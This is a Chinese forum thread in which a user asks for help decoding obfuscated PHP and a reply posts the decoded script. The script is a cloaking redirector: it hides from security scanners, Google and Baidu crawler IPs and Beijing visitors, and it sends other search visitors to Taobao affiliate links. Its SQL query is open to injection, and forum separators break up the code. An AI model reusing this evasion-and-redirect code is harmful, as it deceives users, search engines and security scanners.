碰到一段PHP的加密，實在不知道如何解密了求大神

碰到一段PHP的加密，實在不知道怎麼解密了求大神
有BASE64和一些亂碼符號，真心不知道怎麼來解密了 求高手。
因為有特殊字元論壇發不上來，就髮網盤地址了。
http://pan.baidu.com/share/link?shareid=3556194294&uk=2869471014

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------解決方案--------------------

裡面存在相關的加密和著作權驗證，不過不再最終的加密裡面；整個加密流程大概反覆進行了5次以上
/*
 * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))
------解決方案--------------------
@die(); //15aabc79d4499e36ea28690d6959b37c
 */
error_reporting ( 0 );
defined ( 'FFCAEDAABEBFAB' ) 
------解決方案--------------------
 exit ( 'Access Denied' );
include ('TopSdk.php');
include ('mysql.php');
include ('config.php');
session_start ();
$host = $_SERVER ["HTTP_HOST"];
$scanv = "";
if (isset ( $_SESSION ['url'] )) {
$url = $_SESSION ['url'];
$keyword = get_keyword ( $url, $keywords );
$arr = parse_url ( $url );
$arr_query = convertUrlQuery ( $arr ['query'] );
$usergent = $_SERVER ['HTTP_USER_AGENT'];
$client_ip = $_SERVER ["REMOTE_ADDR"];
$loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) );
if (strpos ( $client_ip, '61.135' ) !== false 
------解決方案--------------------
 strpos ( $client_ip, '173.194' ) !== false 
------解決方案--------------------
 strpos ( $client_ip, '203.208' ) !== false 
------解決方案--------------------
 strpos ( $client_ip, '74.125' ) !== false 
------解決方案--------------------
 strpos ( $client_ip, '123.125' ) !== false 
------解決方案--------------------
 strpos ( $client_ip, '220.181' ) !== false) {
$scanv = "檢測到scanv IP";
} else if (strpos ( $keyword, 'dasoji' ) !== false) {
$scanv = "檢測到網域名稱";
} else if ($keyword == false) {
$scanv = "關鍵詞不可為空";
} else if (strpos ( $loc, 'Google' ) !== false) {
$scanv = "檢測到GoogleIP";
} else if (strpos ( $loc, '北京' ) !== false) {
$scanv = "檢測到北京IP";
} else if (count ( $arr_query ) < 2) {
$scanv = "可能是scanv";
} else {
$key = get_key ( $keyword );
$click_url = get_key_url ( $key );
if (! isset ( $click_url )) {
$click_url = search_click ( $key )->taobaoke_item->click_url;
}
if (isset ( $click_url )) {
echo "var jump_url='" . $click_url . "';";
echo "window.location.href=jump_url;";
} else {
$scanv = "無有效跳轉";
$click_url = get_shops_url ( $key );
if (isset ( $click_url )) {
echo "var jump_url='" . $click_url . "';";
echo "window.location.href=jump_url;";
} else {
echo "var jump_url='';";
echo "window.location.href=jump_url;";
}
}
}
$fp = fopen ( "baiduspider.html", 'a' );
fwrite ( $fp, "" . date ( 'Y-m-d H:i:s', time () ) . " " . $_SERVER ["REMOTE_ADDR"] . '' . $keyword . '' . $scanv . '' . $_SERVER ['HTTP_USER_AGENT'] . '' . $url . '' );
fclose ( $fp );
;
}
function get_key_url($key) {
global $db_conn;
$db = new Mysql ( $db_conn );
$db->query ( "set names utf8" );
$sql = "select * from keyword where `key`='" . $key . "'";
$result = $db->get ( $sql ); 
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